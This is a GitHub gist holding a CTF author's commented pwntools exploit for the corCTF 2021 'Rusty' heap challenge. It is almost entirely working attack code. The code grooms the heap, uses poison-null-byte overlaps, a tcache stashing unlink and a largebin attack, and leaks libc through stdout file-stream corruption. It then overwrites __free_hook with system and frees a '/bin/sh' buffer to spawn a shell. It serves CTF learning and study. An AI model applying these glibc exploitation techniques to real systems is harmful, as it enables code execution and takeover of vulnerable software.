Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@c4ebt
Last active November 12, 2021 20:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save c4ebt/0834b3dbd7e00f65bf0726580207871c to your computer and use it in GitHub Desktop.
Save c4ebt/0834b3dbd7e00f65bf0726580207871c to your computer and use it in GitHub Desktop.
corCTF 2021 Rusty solution by c4e (author)
#!/usr/bin/python
# corCTF 2021 Rusty solution by c4e (author)
# this is the commented version of my rusty exploit
# I literally planned everything as I wrote it so hopefully the thought process I followed is
# understandable and you can have a laugh at some dumb stuff as well that I was too lazy to clean.
# The challenge got only 1 solve by M30W from team Dio. We talked about our solutions and they were
# pretty similar, except theirs made me realize how dumb I was thinking I needed a double poison null byte
# scenario to get a double overlap and work from there. That made my exploit way more painful than it
# should have been.
# Anyways, feel free to dm me on discord if you want to discuss the solution. c4e#1255
from pwn import *
from time import sleep
context.log_level = "DEBUG"
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
libc = ELF("./libc.so.6")
elf = ELF("./rusty")
#p = gdb.debug(elf.path, "c")
p = process(elf.path)
#p = remote("35.208.182.172", 5003)
def alloc(ind, size=24, data="\n", stdout=True):
if stdout:
p.sendlineafter("Action:", "1")
p.sendlineafter("index:", str(ind))
p.sendlineafter("size:", str(size))
p.sendafter("Content:", data)
elif not stdout:
sleep(1)
p.sendline("1")
sleep(1)
p.sendline(str(ind))
sleep(1)
p.sendline(str(size))
sleep(1)
p.send(data)
sleep(1)
def free(ind):
p.sendlineafter("Action:", "2")
p.sendlineafter("index:", str(ind))
def edit(ind, data, stdout=True):
if stdout:
p.sendlineafter("Action:", "3")
else:
sleep(1)
p.sendline("3")
p.sendlineafter("index", str(ind))
p.sendafter("Content:", data)
def get(size):
for i in range(7):
alloc(99-i, size)
def let():
for i in range(7):
free(99-i)
alloc(0, 0x68, p64(0)*3 + p64(0x51)) # padding and fake nextsize for tps unsorted
get(0xb8)
alloc(0, 0xb8) # COAL2
#alloc(1, 0xa78, (p64(0xa00) + p64(0x30) + p64(0xa00) + p64(0x20)) * 0x50
# + (p64(0xa00) + p64(0x30) + p64(0xa00) + p64(0x21))
# + (p64(0xa00) + p64(0x30) + p64(0xa00)) * 2
# )
for i in range(0xd):
alloc(30+i, 0xb8, (p64(0xa00) + p64(0x30) + p64(0xa00) + p64(0x20)) * 5)
alloc(30+0xd, 0xb8, (p64(0xa00) + p64(0x30) + p64(0xa00) + p64(0x20)) * 2
+ (p64(0xa00) + p64(0x30) + p64(0xa00) + p64(0x21)) * 3)
alloc(2, 0xb8)
alloc(3, 24)
alloc(4, 0xb8)
alloc(5, 0xb8)
alloc(6, 24)
alloc(7, 0xb8)
alloc(8, 0xb8)
alloc(9, 24)
alloc(20, 0xb8)
alloc(21, 0xb8)
alloc(22, 24)
alloc(23, 0xb8)
alloc(24, 0xb8)
alloc(25, 24)
#free(1)
let()
for i in range(0xe):
free(30+i)
get(0xb8)
edit(0, b"\x00"*0xb8)
alloc(10, 0xb8) # OL2
alloc(11, 0xb8) # PTRS2
alloc(12, 0xb8) # FP
alloc(13, 0xb8) # COAL1
#alloc(14, 0x6b8, ((p64(0x600) + p64(0x30) + p64(0x600) + p64(0x20))*0x32)[:-8]) # BIG
for i in range(9):
alloc(30+i, 0xb8, (p64(0x600) + p64(0x30) + p64(0x600) + p64(0x20)) * 5)
#alloc(15, 0xb8)
alloc(15, 0x38)
let()
for i in range(9):
free(30+i)
get(0xb8)
edit(13, b"\x00"*0xb8)
alloc(16, 0xb8) # OL1
alloc(17, 0xb8) # PTRS1
alloc(18, 0x38) # FP
# need to replace this with smaller allocations
# 0x11 0x40 allocations should work (0x440, might need to readjust some stuff)
# 0x40 tcachebin is filled when I need to free the largebin
for i in range(0x11):
alloc(30+i, 0x38)
#alloc(19, 0x428) # large
#large = 19
# got planned layout figured out here
let()
free(5)
free(10)
free(8)
free(0) # coalesce backwards
# can't corrupt any of the metadata
get(0xb8)
alloc(5, 0xb8)
alloc(8, 0xb8)
let()
alloc(0, 0x98)
alloc(1, 0x98)
alloc(3, 0x38)
free(8)
free(11)
free(5)
# coalesce backwards
free(4)
free(7)
get(0xb8)
alloc(11, 0xb8)
alloc(4, 0xd8)
alloc(7, 0xd8)
alloc(5, 0x98)
alloc(8, 0x98)
# second overlap
let()
free(21)
free(16)
free(24)
free(13)
get(0xb8)
alloc(21, 0xb8)
alloc(24, 0xb8)
let()
alloc(0, 0x98)
alloc(3, 0x98)
alloc(13, 0x38)
free(24)
free(17)
free(21)
free(20)
free(23)
get(0xb8)
alloc(17, 0xb8)
alloc(20, 0xd8)
alloc(23, 0xd8)
alloc(21, 0x98)
alloc(24, 0x98)
edit(4, b"\x00"*0xb8 + p64(0xc1) + p64(0))
edit(7, b"\x00"*0xb8 + p64(0xc1))
#edit(0, b"\x00"*0xb8 + b"\x81\x0a")
edit(1, b"\x00"*0x18 + b"\x81\x0a")
edit(20, b"\x00"*0xb8 + p64(0xc1) + p64(0))
edit(23, b"\x00"*0xb8 + p64(0xc1))
#edit(13, b"\x00"*0xb8 + b"\xc1\x06")
edit(3, b"\x00"*0x18 + b"\xc1\x06")
let()
get(0x38)
let() # fill 0x40 tcachebin
free(15) # sent to fastbin
p.sendlineafter("Action:", "1"*0x1000) # consolidate fastbin with fake unsorted
free(2)
# double poison null byte done here
# Plan:
# allocate from both overlaps to get one smallbin and one tcache
# exactly overlapped at '0xd10' (*) with a size of 0x81 chaining with
# a fake next size on the fencepost chunk (phew!)
# PTRS1 can be used to change this chunk's size for the second tsu
# and it can be used to edit the LSB of the tcache key
# continue allocating from overlaps to get the perfect overlap on the large chunk
# for the largebin attack onto the
alloc(25, 0x88) #
alloc(26, 0x78) #
alloc(27, 0x88) # 0x90, smallbin for tsu+
alloc(28, 0x28) # padding til large bk_nextsize
# have to divide it in 2 0x20 because the 0x40 tcache is used now
# having it like this will push unsorted pointers and overwrite the large chunk
# size field so I have to edit it manually
edit(28, p64(0)*3 + p64(0x41)[:-1])
alloc(29, 0x18) # can be anything (?) only need 0x10 byte write
# need to allocate the remaining 0x500 unsorted here
alloc(89, 0xa8)
alloc(88, 0xa8)
alloc(87, 0xa8)
alloc(86, 0xa8)
alloc(85, 0xa8)
alloc(84, 0xa8)
alloc(83, 0xa8)
# 0x40 remaining but its tcache is full so 0x30 req returns 0x40 chunk
alloc(82, 0x28)
# first overlap setup done
# going for second tsu setup now
# got a nice idea to avoid second tsu??
alloc(79, 0xd8)
alloc(78, 0xd8)
alloc(77, 0xd8)
#alloc(76, 0x58)
alloc(76, 0xd8)
alloc(75, 0x88)
alloc(74, 0x88) # for key
alloc(73, 0x88)
get(0xb8)
alloc(69, 0xb8)
alloc(68, 0xb8)
alloc(67, 0xb8)
alloc(66, 0xb8)
alloc(65, 0x88)
alloc(64, 0x88)
alloc(72, 0x88, p64(0)*13 + p64(0x41))
alloc(72, 0xd8)
alloc(72, 0x78)
# large consumed
# gotta coalesce for second large
# set tcache head
alloc(72, 0xc8)
free(72)
let()
alloc(70, 0x88) # used for trash smallbin in tsu+
#get(0x88)
for i in range(12):
alloc(60-i, 0x88)
free(70) # tcache
for i in range(6):
free(59-(i*2))
for i in range(6):
free(60-(i*2))
free(27)
# need to do a lot of editing to fix all the chunk sizes that will coalesce into large
edit(73, p64(0)*3 + p64(0x41) + p64(0)*7 + p64(0x41))
edit(69, p64(0) + p64(0x41) + p64(0)*7 + p64(0x41) + p64(0)*7 + p64(0x41))
edit(68, p64(0) + p64(0x41) + p64(0)*7 + p64(0x41) + p64(0)*7 + p64(0x41))
edit(67, p64(0) + p64(0x41) + p64(0)*7 + p64(0x41) + p64(0)*7 + p64(0x41))
edit(66, p64(0) + p64(0x41) + p64(0)*7 + p64(0x41) + p64(0)*7 + p64(0x41))
edit(65, p64(0) + p64(0x41) + p64(0)*7 + p64(0x41))
edit(84, p64(0)*3 + p64(0x41) + p64(0)*7 + p64(0x41))
#free(large) # 19
for i in range(0x11):
free(30+i)
p.sendlineafter("Action:", "1"*0x1000) # sort with scanf
edit(29, p64(0))
edit(84, p64(0)*11 + p64(0x91)) # fix overlapping metadata
for i in range(6): # second large chunk
free(69-i)
# everything ready for largebin attack
# gotta set key first though
get(0x88)
edit(17, p64(0)*9 + p64(0x31))
alloc(72, 0xb8)
free(17)
free(74)
alloc(17, 0xb8, b"\x00"*0x48 + p64(0x91) + p64(0) + b"\xd0")
# key done
# largebin attack now
# fuck, largebin attack doesn't work because 0x440 and 0x400 are different largebins
# I thought it was 0x400 -> 0x480
# I think I can just edit both sizes and as long as they have safe values
# the largebin attack should still work
edit(73, p64(0)*3 + p64(0x461)[:-1])
edit(89, p64(0)*7 + p64(0x441)[:-1])
edit(83, p64(0x460) + p64(0xa0) + p64(0)*8 + p64(0x440) + p64(0x50))
p.sendlineafter("Action:", "1"*0x1000) # sort with scanf
# partial overwrite on second largebin to fix smallbin chain
edit(73, p64(0)*3 + p64(0x461) + p64(0)*5 + p64(0xd1))
free(89)
alloc(89, 0xc8, p64(0)*7 + p64(0x441) + p64(0) + b"\x10")
alloc(72, 0x88) # trigger
# tsu+ done
# now for the libc pointer...
# plan was to free the chunk over the tps into the unsortedbin and
# then allocate it back, but I need to forge a fake size and next size for that.
# minimum fake size is 0x101 (?) which would come from increasing the count of
# 0x3e0 something tcachebin to 257 (that's kinda too lucky tho??)
# and then for the fake next size... that's kinda fucked. IG I could make the fake
# size large enough to make it point somewhere in the actual heap and then I'd be
# able to forge a fake size there. That actually sounds way more plausible. Gonna
# elaborate that idea more tomorrow.
# After that, the chall would be pretty much done. Only thing I'd need to fix
# is scanf in source code, first couple of largebin formations and ofc scanf
# large consolidations (shouldn't bee too troublesome).
alloc(71, 0xc8, b"\x01\x00"*2 + b"\x00"*10 + b"\x01\x00" + b"\x00"*0x32 + b"\x07\x00"
+ b"\x00"*0x34 + p64(0x231) + b"\x00"*0x38 + b"\x90")
alloc(30, 0x88, "YYYYYYYY" + "AAAAAAAA")
free(30)
# LIBC POINTERS DONE LETS GO
# NOW WE PARTIAL OVERWRITE INTO STDOUT FSOP
# brute goes here
alloc(30, 0xc8, p64(0) + p16(0x26c0))
#pause()
alloc(31, 0x28, p64(0xfbad1800) + p64(0)*3 + b"\x00", False)
chunk = p.recvrepeat(5)
if b"\x7f" in chunk:
pos = chunk.find(b"\x7f")
elif b"\x7e" in chunk:
pos = chunk.find(b"\x7e")
else:
raise Exception("Failed to find leak")
leak = u64(chunk[pos-5:pos+1].ljust(8, b"\x00"))
libc.address = leak - 0x3b7744
edit(30, p64(libc.sym.__free_hook), False)
alloc(32, 0x18, p64(libc.sym.system))
edit(30, b"/bin/sh\x00")
free(30)
log.info(hex(leak))
log.info(hex(libc.address))
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment